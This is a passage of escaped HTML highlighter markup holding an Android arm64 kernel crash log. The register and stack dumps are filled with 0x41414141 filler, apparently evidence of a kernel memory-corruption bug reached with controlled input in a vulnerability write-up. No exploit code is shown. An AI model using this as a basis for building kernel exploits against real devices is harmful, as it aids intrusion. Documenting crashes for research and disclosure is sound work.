class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x23<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x22<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-29\"><span class=\"crayon-cn\">4141414141414141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-30\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460017s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x21<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x20<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-31\"><span class=\"crayon-cn\">4141414141414141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-32\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460108s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x19<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x18<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-33\"><span class=\"crayon-cn\">0000000000000001<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-34\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460200s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000000001f8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x16<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-35\"><span class=\"crayon-cn\">00000000000001ec<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-36\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460261s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000000007e0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x14<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-37\"><span class=\"crayon-cn\">7277705d68736b6d<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-38\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460352s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2d706d742c317570<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x12<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-39\"><span class=\"crayon-cn\">632c39303737313a<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-40\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460444s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x11<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6469705b5d33343a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x10<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-41\"><span class=\"crayon-cn\">37313a3531203731<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-42\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460535s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3a30313a37313032<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-43\"><span class=\"crayon-cn\">6d63205d53464755<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-44\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460627s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4245442075706363<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-45\"><span class=\"crayon-cn\">00000000000127b3<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-46\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460719s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000000000ca21<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-47\"><span class=\"crayon-v\">ffffffc0011a91c0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-48\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460810s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x3<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-49\"><span class=\"crayon-v\">ffffffc07609db80<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-50\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.460902s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffc07609db80 <\/span><span class=\"crayon-v\">x0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-51\"><span class=\"crayon-v\">ffffffffffffffea<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-52\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461024s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-53\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461024s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">SP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xffffffc00316fe00<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-54\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461085s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-i\">fe00<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-55\"><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-56\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461268s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-i\">fe20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000015<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-57\"><span class=\"crayon-cn\">00000116<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000040<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">012be000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ffffffc0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-58\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461421s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-i\">fe40<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0316c000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffffffc0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-59\"><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0316fe80<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ffffffc0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-60\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.461604s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-i\">fe60<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00414141<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-61\"><span class=\"crayon-cn\">60000145<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">41414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00004000<\/span><span class=\"crayon-h\"> <\/span><span 